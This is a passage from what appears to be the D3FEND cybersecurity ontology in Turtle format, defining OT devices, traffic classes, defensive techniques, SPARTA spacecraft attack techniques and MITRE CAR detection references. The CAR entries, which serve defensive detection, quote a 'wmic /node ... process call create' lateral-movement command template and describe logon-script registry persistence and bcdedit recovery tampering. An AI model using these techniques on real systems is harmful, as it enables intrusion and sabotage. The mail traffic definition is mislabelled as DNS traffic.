    rdfs:label "OT Device Configuration Command Event" ;
    d3f:definition "Configure or administer managed devices." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTDeviceConfigurationCommand ],
        d3f:OTDeviceManagementMessageEvent .

d3f:OTEngineeringSoftware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Engineering Software" ;
    d3f:definition "Software used in an industrial process to help engineers design, test, and maintain OT. This software enables the programming of OT controllers." ;
    d3f:produces d3f:OTControlProgram ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:produces ;
            owl:someValuesFrom d3f:OTControlProgram ],
        d3f:DeveloperApplication .

d3f:OTEngineeringWorkstation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Engineering Workstation" ;
    d3f:communicates-with d3f:OTController ;
    d3f:definition "An Engineering Workstation (EWS) is used to perform various maintenance, configuration, or diagnostics functions for a control system. The EWS will likely require dedicated application software to interface with various devices (e.g., RTUs, PLCs), and may be used to transfer data or files between the control system devices and other networks." ;
    d3f:runs d3f:OTEngineeringSoftware ;
    d3f:synonym "EWS" ;
    rdfs:isDefinedBy <https://attack.mitre.org/assets/A0001> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:runs ;
            owl:someValuesFrom d3f:OTEngineeringSoftware ],
        [ a owl:Restriction ;
            owl:onProperty d3f:communicates-with ;
            owl:someValuesFrom d3f:OTController ],
        d3f:ClientComputer .

d3f:OTIOModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT I/O Module" ;
    d3f:communicates-with d3f:OTActuator,
        d3f:OTSensor ;
    d3f:definition "An OT I/O Module is an industrial-grade interface designed for harsh Operational Technology (OT) environments. It reliably connects sensors and actuators to industrial control systems, ensuring precise, real-time data exchange in applications such as SCADA or ICS. Engineered for ruggedness and consistent performance, it can manage analog, digital, or other specialized signal types while enduring demanding conditions." ;
    rdfs:comment "There are many types of I/O modules, including: analog input, analog output, HART input, HART output, digital input, digital output, mV input, pulse input, universal I/O, vibration input, and many other types of input or output modules. The functionality of the I/O Module can be embedded in the controller or as a separate module connected via chassis or I/O link." ;
    rdfs:isDefinedBy <https://consteel-electronics.com/articles/what-is-IO-module> ;
    rdfs:seeAlso <https://www.rockwellautomation.com/en-us/support/documentation/technical/i-o/compact-5000-i-o-modules.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:communicates-with ;
            owl:someValuesFrom d3f:OTActuator ],
        [ a owl:Restriction ;
            owl:onProperty d3f:communicates-with ;
            owl:someValuesFrom d3f:OTSensor ],
        d3f:IOModule ;
    skos:example "Rockwell Compact 5000 IO Module" .

d3f:OTModifyDeviceConfigurationCommandEvent a owl:Class ;
    rdfs:label "OT Modify Device Configuration Command Event" ;
    d3f:definition "Modify device configuration." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTModifyDeviceConfigurationCommand ],
        d3f:OTDeviceConfigurationCommandEvent .

d3f:OTNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Network Traffic" ;
    d3f:definition "Network traffic generated by operational technology devices, e.g. programmable logic controllers" ;
    d3f:may-contain d3f:OTProtocolMessage ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:OTProtocolMessage ],
        d3f:NetworkTraffic .

d3f:OTPowerSupply a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Power Supply" ;
    d3f:definition "An OT power supply is a power supply whose control amplifier is optimized for signal-processing tasks rather than supplying mere steady-state power to a load. It is a self-contained combination of operational amplifiers, power amplifiers, and integral power circuits designed for higher-level operations in industrial or OT contexts." ;
    rdfs:seeAlso <https://ieeexplore.ieee.org/servlet/opac?punumber=4116785> ;
    rdfs:subClassOf d3f:PowerSupply ;
    skos:example "Phoenix Contact QUINT, Eaton PSG, and many controller-branded power supplies." .

d3f:OTProcessVariable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OT Process Variable" ;
    d3f:definition "Process variables are the current actual measurement of the physical characteristics of a system. Common process variables include but are not limited to Temperature, Pressure, Level, and Flow." ;
    rdfs:seeAlso <https://isagca.org/hubfs/2023%20ISA%20Website%20Redesigns/ISAGCA/PDFs/Industrial%20Cybersecurity%20Knowledge%20FINAL.pdf?hsLang=en> ;
    rdfs:subClassOf d3f:OTLogicVariable ;
    skos:example "If the current temperature in a home is 82 degrees Fahrenheit, the process variable is 82 degrees." .

d3f:OTReadCommandEvent a owl:Class ;
    rdfs:label "OT Read Command Event" ;
    d3f:definition "Read or retrieve data." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTReadCommand ],
        d3f:OTProcessDataCommandEvent .

d3f:OperatingSystemExecutableFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Executable File" ;
    d3f:definition "An operating system executable is a critical executable that is part of the operating system, and without which, the operating system may not operate correctly." ;
    rdfs:subClassOf d3f:OperatingSystemFile .

d3f:OperatingSystemLogFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Log File" ;
    d3f:definition "An operating system log file records events that occur in an operating system." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Log_file> ;
    rdfs:subClassOf d3f:LogFile,
        d3f:OperatingSystemFile .

d3f:OperatingSystemSharedLibraryFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Operating System Shared Library File" ;
    d3f:definition "An operating system shared library file is a shared library file that is part of the operating system and that incorporates common operating system code for use by any application or to provide operating system services." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Library_(computing)#Shared_libraries> ;
    rdfs:subClassOf d3f:OperatingSystemFile,
        d3f:SharedLibraryFile .

d3f:OrchestrationServer a owl:Class ;
    rdfs:label "Orchestration Server" ;
    d3f:definition "A d3f:Server which is involved with the orchestration of workloads or the execution of orchestrated workloads." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Orchestration_(computing)> ;
    rdfs:subClassOf d3f:Server .

d3f:OutboundInternetEncryptedRemoteTerminalTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Encrypted Remote Terminal Traffic" ;
    d3f:definition "Outbound internet encrypted remote terminal traffic is encrypted network traffic for a standard remote terminal protocol on an outgoing connection initiated from a host within a network to a host outside the network." ;
    rdfs:subClassOf d3f:OutboundInternetEncryptedTraffic ;
    skos:altLabel "Outbound Internet Encrypted RDP Traffic",
        "Outbound Internet Encrypted SSH Traffic" .

d3f:OutboundInternetFileTransferTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet File Transfer Traffic" ;
    d3f:contains d3f:File ;
    d3f:definition "Outbound internet file transfer traffic is file transfer traffic that is: (a) on an outgoing connection initiated from a host within a network to a host outside the network, and (b) using a standard file transfer protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/File_transfer>,
        <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:File ],
        d3f:FileTransferNetworkTraffic,
        d3f:OutboundInternetNetworkTraffic,
        d3f:OutboundNetworkTraffic .

d3f:OutboundInternetMailTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Outbound Internet Mail Traffic" ;
    d3f:definition "Outbound internet DNS lookup traffic is network traffic using a standard email protocol on an outgoing connection initiated from a host within a network to a host outside the network." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Internetworking> ;
    rdfs:subClassOf d3f:OutboundInternetNetworkTraffic ;
    skos:altLabel "Outbound Internet Email Traffic" .

d3f:PER-0002 a owl:Class ;
    rdfs:label "Backdoor - SPARTA" ;
    d3f:attack-id "PER-0002" ;
    d3f:definition "Threat actors may find and target various backdoors, or inject their own, within the victim spacecraft in the hopes of maintaining their attack." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/PER-0002/> ;
    rdfs:subClassOf d3f:SPARTAPersistenceTechnique ;
    skos:prefLabel "Backdoor" .

d3f:PacketCaptureFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Packet Capture File" ;
    d3f:contains d3f:NetworkPacket ;
    d3f:definition "A file which contains raw representations of collected packets." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:NetworkPacket ],
        d3f:File .

d3f:PageFrame a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Page Frame" ;
    d3f:contained-by d3f:PrimaryStorage ;
    d3f:definition "A page frame is the smallest fixed-length contiguous block of physical memory into which memory pages are mapped by the operating system." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Page_(computer_memory)> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contained-by ;
            owl:someValuesFrom d3f:PrimaryStorage ],
        d3f:MemoryBlock .

d3f:PageTable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Page Table" ;
    d3f:contains d3f:PhysicalAddress,
        d3f:VirtualAddress ;
    d3f:definition "A page table  is the data structure used by the MMU in a virtual memory computer system  to store the mapping between virtual addresses (virtual pages) and physical addresses (page frames)." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Page_table> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:VirtualAddress ],
        [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:PhysicalAddress ],
        d3f:DigitalInformationBearer .

d3f:PassiveLogicalLinkMapping a d3f:PassiveLogicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Passive Logical Link Mapping" ;
    d3f:d3fend-id "D3-PLLM" ;
    d3f:definition "Passive logical link mapping only listens to network traffic as a means to map the the whole data link layer, where the links represent logical data flows rather than physical connections." ;
    d3f:kb-reference d3f:Reference-TenablePassiveNetworkMonitoring ;
    d3f:synonym "Passive Logical Layer Mapping" ;
    rdfs:subClassOf d3f:LogicalLinkMapping .

d3f:PasswordAuthentication a d3f:PasswordAuthentication,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Password Authentication" ;
    d3f:d3fend-id "D3-PWA" ;
    d3f:definition "Password authentication is a security mechanism used to verify the identity of a user or entity attempting to access a system or resource by requiring the input of a secret string of characters, known as a password, that is associated with the user or entity." ;
    d3f:kb-reference d3f:Reference-NIST-Special-Publication-800-53-Revision-5 ;
    d3f:uses d3f:Password ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:uses ;
            owl:someValuesFrom d3f:Password ],
        d3f:AgentAuthentication .

d3f:PatternMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Pattern Matching" ;
    d3f:d3fend-id "D3A-PM" ;
    d3f:definition "Pattern matching is the act of checking a given sequence of tokens for the presence of the constituents of some pattern." ;
    d3f:kb-article """## References
1. Pattern matching. (2023, May 20). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Pattern_matching)""" ;
    rdfs:subClassOf d3f:LogicalRules .

d3f:PerHostDownload-UploadRatioAnalysis a d3f:PerHostDownload-UploadRatioAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Per Host Download-Upload Ratio Analysis" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-PHDURA" ;
    d3f:definition "Detecting anomalies that indicate malicious activity by comparing the amount of data downloaded versus data uploaded by a host." ;
    d3f:kb-article """## How it works
Aggregate pull vs. push ratios from metadata are used to develop a baseline for a given host over a specific time period, e.g., over a three-hour period, one day, one week, etc. Anomalies identified over a threshold produce an alert.

## Considerations
Collection and analysis of large network packet captures requires large storage and intensive computing power. The time windows used to calculate the ratio may vary in implementations, this consideration should take into account a threat model and likely effects (impacts) delivered by an adversary.""" ;
    d3f:kb-reference d3f:Reference-SystemForDetectingThreatsUsingScenario-basedTrackingOfInternalAndExternalNetworkTraffic_VECTRANETWORKSInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:PhysicalAddress a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Address" ;
    d3f:definition "In a computer supporting virtual memory, the term physical address is used mostly to differentiate from a virtual address. In particular, in computers utilizing a memory management unit(MMU) to translate memory addresses, the virtual and physical addresses refer to an address before and after translation performed by the MMU, respectively." ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Physical_address> ;
    rdfs:subClassOf d3f:MemoryAddress .

d3f:PhysicalDataDiode a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Physical Data Diode" ;
    d3f:definition "A device that physically enforces one-way (unidirectional) network communication." ;
    rdfs:isDefinedBy <https://isagca.org/hubfs/2023%20ISA%20Website%20Redesigns/ISAGCA/PDFs/Industrial%20Cybersecurity%20Knowledge%20FINAL.pdf?hsLang=en> ;
    rdfs:subClassOf d3f:HardwareDevice ;
    skos:example <https://owlcyberdefense.com/products/data-diode-products/> .

d3f:PlatformUptime a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Platform Uptime" ;
    d3f:definition "A variable that notes the amount of time a platform has been running since its last power cycle or reset." ;
    rdfs:comment "In OT controllers this may not be a default tag rather something that should be defined using other system tags." ;
    rdfs:subClassOf d3f:SystemPlatformVariable .

d3f:PlatformUptimeMonitoring a d3f:PlatformUptimeMonitoring,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Platform Uptime Monitoring" ;
    d3f:d3fend-id "D3-PUM" ;
    d3f:definition "Monitor the amount of time since the last power cycle or restart." ;
    d3f:kb-article """## How it works
Monitoring the time since the last power cycle or restart alerts operators to unexpected restarts and their frequency. This can indicate potential issues or malicious activity, and provides valuable information for forensic investigations.

## Considerations
The source of the variable may be mutable depending on the platform, and the provenance of the value.""" ;
    d3f:kb-reference d3f:Reference-SecurePLCCodingPracticesTop20List ;
    d3f:monitors d3f:PlatformUptime ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:monitors ;
            owl:someValuesFrom d3f:PlatformUptime ],
        d3f:PlatformMonitoring .

d3f:PowerShellProfileScript a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "PowerShell Profile Script" ;
    d3f:definition "A PowerShell profile script is a script that runs when PowerShell starts and can be used as a logon script to customize user environments." ;
    rdfs:seeAlso <https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.1> ;
    rdfs:subClassOf d3f:UserInitScript .

d3f:PredicateLogic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Predicate Logic" ;
    d3f:d3fend-id "D3A-PL" ;
    d3f:definition "Predicate logic is is collection of formal systems used in mathematics, philosophy, linguistics, and computer science. First-order logic and Higher-order logic both incorporate predicate logic." ;
    d3f:kb-article """## References
1. First-order logic. (2023, May 26). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/First-order_logic)
2. Higher-order logic. (2023, May 13)
[Link](https://en.wikipedia.org/wiki/Higher-order_logic)""" ;
    rdfs:subClassOf d3f:SymbolicAI .

d3f:ProcessEnvironmentVariable a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Environment Variable" ;
    d3f:definition "An environment variable is a dynamic-named value that can affect the way running processes will behave on a computer. They are part of the environment in which a process runs." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Environment_variable> ;
    rdfs:subClassOf d3f:ApplicationConfiguration ;
    skos:altLabel "Environment Variable" .

d3f:ProcessSelf-ModificationDetection a d3f:ProcessSelf-ModificationDetection,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Self-Modification Detection" ;
    d3f:analyzes d3f:Process ;
    d3f:d3fend-id "D3-PSMD" ;
    d3f:definition "Detects processes that modify, change, or replace their own code at runtime." ;
    d3f:kb-article """## How it Works
A security agent installed on the host machine intercepts API calls between a process and operating system. Intercepted API calls are then compared against attack signatures/patterns to identify API calls that modify executable memory or modify the entry point address of a suspended child process. Attack patterns include:

* Executable code of a suspended child process removed from memory by one or more API calls.
* New executable code injected and / or loaded into memory of a suspended child process by one or more API calls.
* Executable code modified by one or more API calls.
* Next instruction pointer value in memory modified by one or more API calls.

## Considerations
Comparing loaded code segments of processes with what is expected to have been loaded from a file can result in false positives, due to legitimate uses of self-modification for decrypting or uncompressing code segments.""" ;
    d3f:kb-reference d3f:Reference-SystemAndMethodForProcessHollowingDetection_CarbonBlackInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Process ],
        d3f:ProcessAnalysis .

d3f:ProcessSuspension a d3f:ProcessSuspension,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Suspension" ;
    d3f:d3fend-id "D3-PS" ;
    d3f:definition "Suspending a running process on a computer system." ;
    d3f:kb-article """## How it works

A running process might be suspended to mitigate its immediate effects if it is exhibiting anomalous, unauthorized, or malicious behavior. Defenders may choose to suspend rather than terminate to analyze the process first and resume the process if deemed benign.

### System-provided functions

#### Windows tools
In Windows, the `PsSuspend` command line utility from the SysInternals Suite provides functionality to suspend processes on a local or remote system.""" ;
    d3f:kb-reference d3f:Reference-PsSuspend ;
    d3f:suspends d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:suspends ;
            owl:someValuesFrom d3f:Process ],
        d3f:ProcessEviction .

d3f:ProcessTree a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Process Tree" ;
    d3f:contains d3f:Process ;
    d3f:definition "A process tree is a tree structure representation of parent-child relationships established via process spawn operations." ;
    rdfs:seeAlso d3f:ProcessSpawnAnalysis,
        <http://dbpedia.org/resource/Child_process>,
        <http://dbpedia.org/resource/Parent_process> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Process ],
        d3f:DigitalInformationBearer .

d3f:ProcessorComponent a owl:Class ;
    rdfs:label "Processor Component" ;
    d3f:definition "A Processor Component is a functional subunit or module within a processor that performs specific tasks to support the processor's overall operation." ;
    rdfs:seeAlso d3f:Processor ;
    rdfs:subClassOf d3f:HardwareDevice .

d3f:ProxyServer a owl:Class ;
    rdfs:label "Proxy Server" ;
    d3f:definition "In computer networking, a proxy server is a server application or appliance that acts as an intermediary for requests from clients seeking resources from servers that provide those resources. A proxy server thus functions on behalf of the client when requesting service, potentially masking the true origin of the request to the resource server." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Proxy_server> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/network_proxy> ;
    rdfs:subClassOf d3f:ComputerNetworkNode,
        d3f:Server .

d3f:RD-0003 a owl:Class ;
    rdfs:label "Obtain Cyber Capabilities - SPARTA" ;
    d3f:attack-id "RD-0003" ;
    d3f:definition "Threat actors may buy and/or steal cyber capabilities that can be used for future campaigns or to perpetuate other techniques. Rather than developing their own capabilities in-house, threat actors may purchase, download, or steal them. Activities may include the acquisition of malware, software, exploits, and information relating to vulnerabilities. Threat actors may obtain capabilities to support their operations throughout numerous phases of the campaign lifecycle." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0003/> ;
    rdfs:subClassOf d3f:SPARTAResourceDevelopmentTechnique ;
    skos:prefLabel "Obtain Cyber Capabilities" .

d3f:RD-0004 a owl:Class ;
    rdfs:label "Stage Capabilities - SPARTA" ;
    d3f:attack-id "RD-0004" ;
    d3f:definition "Threat actors may upload, install, or otherwise set up capabilities that can be used for future campaigns or to perpetuate other techniques. To support their operations, a threat actor may need to develop their own capabilities or obtain them in some way in order to stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased or rented by the threat actor or was otherwise compromised by them." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0004/> ;
    rdfs:subClassOf d3f:SPARTAResourceDevelopmentTechnique ;
    skos:prefLabel "Stage Capabilities" .

d3f:REC-0006 a owl:Class ;
    rdfs:label "Gather FSW Development Information - SPARTA" ;
    d3f:attack-id "REC-0006" ;
    d3f:definition "Threat actors may obtain information regarding the flight software (FSW) development environment for the victim spacecraft. This information may include the development environment, source code, compiled binaries, testing tools, and fault management." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0006/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather FSW Development Information" .

d3f:ReadMemory a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Read Memory" ;
    d3f:reads d3f:MemoryBlock ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:reads ;
            owl:someValuesFrom d3f:MemoryBlock ],
        d3f:SystemCall .

d3f:Receiver a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Receiver" ;
    d3f:definition "A receiver is a device or system that acquires signals and converts them into usable information. It senses a physical carrier (such as electromagnetic fields, light, electrical currents, or acoustic waves), conditions the input, and extracts the intended content through operations like filtering, amplification, detection, synchronization, demodulation, decoding, and error correction. A receiver may be analog or digital, implemented in hardware, software, or both, and is designed to mitigate impairments such as noise, interference, and distortion while delivering recovered data or media to downstream processes." ;
    d3f:receives d3f:Signal ;
    rdfs:seeAlso <https://www.analog.com/en/resources/glossary/receiver.html> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:receives ;
            owl:someValuesFrom d3f:Signal ],
        d3f:HardwareDevice .

d3f:RecurrentNeuralNetwork a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Recurrent Neural Network" ;
    d3f:d3fend-id "D3A-RNN" ;
    d3f:definition "Recurrent Nerual Networks (RNN) are a class of artificial neural networks where connections between nodes can create a cycle, allowing output from some nodes to affect subsequent input to the same nodes. This allows it to exhibit temporal dynamic behavior." ;
    d3f:kb-article """## References
Wikipedia. (2021, September 7). Recurrent Neural Network. [Link](https://en.wikipedia.org/wiki/Recurrent_neural_network)""" ;
    rdfs:subClassOf d3f:DeepNeuralNetClassification .

d3f:Reference-AccountMonitoring_ForescoutTechnologies a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Account monitoring - Forescout Technologies" ;
    d3f:has-link "https://patents.google.com/patent/US20190205511A1"^^xsd:anyURI ;
    d3f:kb-abstract "Systems, methods, and related technologies for account access monitoring are described. In certain aspects, a login request associated with a device can be analyzed and a score determined. The score and a threshold can be used to determine whether to initiate an action." ;
    d3f:kb-author "Chunhui Zhan, Siying Yang" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Forescout Technologies" ;
    d3f:kb-reference-of d3f:AccountLocking ;
    d3f:kb-reference-title "Account monitoring" .

d3f:Reference-ActiveFirewallSystemAndMethodology_McAfeeLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Active firewall system and methodology - McAfee LLC" ;
    d3f:has-link "https://patents.google.com/patent/US6550012B1"^^xsd:anyURI ;
    d3f:kb-abstract "System and methodology providing automated or \"proactive\" network security (\"active\" firewall) are described. The system implements methodology for verifying or authenticating communications, especially between network security components thereby allowing those components to share information. In one embodiment, a system implementing an active firewall is provided which includes methodology for verifying or authenticating communications between network components (e.g., sensor(s), arbiter, and actor(s)), using cryptographic keys or digital certificates. Certificates may be used to digitally sign a message or file and, in a complementary manner, to verify a digital signature. At the outset, particular software components that may participate in authenticated communication are specified, including creating a digital certificate for each such software component. Upon detection by a sensor that an event of interest that has occurred in the computer network system, the system may initiate authenticated communication between the sensor component and a central arbiter (e.g., \"event orchestrator\") component, so that the sensor may report the event to the arbiter or \"brain.\" Thereafter, the arbiter (if it chooses to act on that information) initiates authenticated communication between itself and a third software component, an \"actor\" component (e.g., \"firewall\"). The arbiter may indicate to the actor how it should handle the event. The actor or firewall, upon receiving the information, may now undertake appropriate action, such as dynamically creating or modifying rules for appropriately handling the event, or it may choose to simply ignore the information." ;
    d3f:kb-author "Emilio Villa, Adrian Zidaritz, Michael David Varga, Gerhard Eschelbeck, Michael Kevin Jones, Mark James McArdle" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "McAfee LLC" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "Active firewall system and methodology" .

d3f:Reference-AuditUserAccountManagement a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Audit User Account Management" ;
    d3f:has-link "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-user-account-management"^^xsd:anyURI ;
    d3f:kb-abstract "Audit User Account Management determines whether the operating system generates audit events when specific user account management tasks are performed." ;
    d3f:kb-organization "Microsoft" ;
    d3f:kb-reference-of d3f:DomainAccountMonitoring,
        d3f:LocalAccountMonitoring ;
    d3f:kb-reference-title "Audit User Account Management" .

d3f:Reference-AutorunDifferences_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2013-01-002: Autorun Differences - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2013-01-002/"^^xsd:anyURI ;
    d3f:kb-abstract """The Sysinternals tool Autoruns checks the registry and file system for known identify persistence mechanisms. It will output any tools identified, including built-in or added-on Microsoft functionality and third party software. Many of these locations are known by adversaries and used to obtain Persistence. Running Autoruns periodically in an environment makes it possible to collect and monitor its output for differences, which may include the removal or addition of persistent tools. Depending on the persistence mechanism and location, legitimate software may be more likely to make changes than an adversary tool. Thus, this analytic may result in significant noise in a highly dynamic environment. While Autoruns is a convenient method to scan for programs using persistence mechanisms its scanning nature does not conform well to streaming based analytics. This analytic could be replaced with one that draws from sensors that collect registry and file information if streaming analytics are desired.

Utilizes the Sysinternals autoruns tool (ignoring validated Microsoft entries). Primarily not a detection analytic by itself but through analysis of results by an analyst can be used for such. Building another analytic on top of this one identifying unusual entries would likely be a beneficial alternative.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemFileAnalysis ;
    d3f:kb-reference-title "CAR-2013-01-002: Autorun Differences" .

d3f:Reference-CAR-2020-11-001%3ABootOrLogonInitializationScripts_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-001: Boot or Logon Initialization Scripts - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-001/"^^xsd:anyURI ;
    d3f:kb-abstract "Adversaries may schedule software to run whenever a user logs into the system; this is done to establish persistence and sometimes for lateral movement. This trigger is established through the registry key HKEY_CURRENT_USER\\EnvironmentUserInitMprLogonScript. This signature looks edits to existing keys or creation of new keys in that path. Users purposefully adding benign scripts to this path will result in false positives; that case is rare, however. There are other ways of running a script at startup or login that are not covered in this signature. Note that this signature overlaps with the Windows Sysinternals Autoruns tool, which would also show changes to this registry path." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:SystemInitConfigAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-001: Boot or Logon Initialization Scripts" .

d3f:Reference-CAR-2021-05-003%3ABCDEditFailureRecoveryModification_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2021-05-003: BCDEdit Failure Recovery Modification - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2021-05-003/"^^xsd:anyURI ;
    d3f:kb-abstract "This search looks for flags passed to bcdedit.exe modifications to the built-in Windows error recovery boot configurations. This is typically used by ransomware to prevent recovery." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2021-05-003: BCDEdit Failure Recovery Modification" .

d3f:Reference-CreateRemoteProcessViaWMIC_MITRE_Other a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2016-03-002: Create Remote Process via WMIC - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2016-03-002/"^^xsd:anyURI ;
    d3f:kb-abstract """Adversaries may use Windows Management Instrumentation (WMI) to move laterally, by launching executables remotely.The analytic CAR-2014-12-001 describes how to detect these processes with network traffic monitoring and process monitoring on the target host. However, if the command line utility wmic.exe is used on the source host, then it can additionally be detected on an analytic. The command line on the source host is constructed into something like wmic.exe /node:"\\<hostname\\>" process call create "\\<command line\\>". It is possible to also connect via IP address, in which case the string "\\<hostname\\>" would instead look like IP Address.

Although this analytic was created after CAR-2014-12-001, it is a much simpler (although more limited) approach. Processes can be created remotely via WMI in a few other ways, such as more direct API access or the built-in utility PowerShell.""" ;
    d3f:kb-author "MITRE" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis,
        d3f:RPCTrafficAnalysis ;
    d3f:kb-reference-title "CAR-2016-03-002: Create Remote Process via WMIC" .

d3f:Reference-Database_for_receiving_storing_and_compiling_information_about_email_messages a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Database for receiving, storing and compiling information about email messages" ;
    d3f:has-link "https://patents.google.com/patent/US20050091319A1/"^^xsd:anyURI ;
    d3f:kb-author "Steven Kirsch" ;
    d3f:kb-reference-of d3f:DomainNameReputationAnalysis,
        d3f:IPReputationAnalysis ;
    d3f:kb-reference-title "Database for receiving, storing and compiling information about email messages" .

d3f:Reference-DecoyAndDeceptiveDataObjectTechnology_CymmetriaInc a d3f:PatentReference,
        owl:NamedIndividual ;
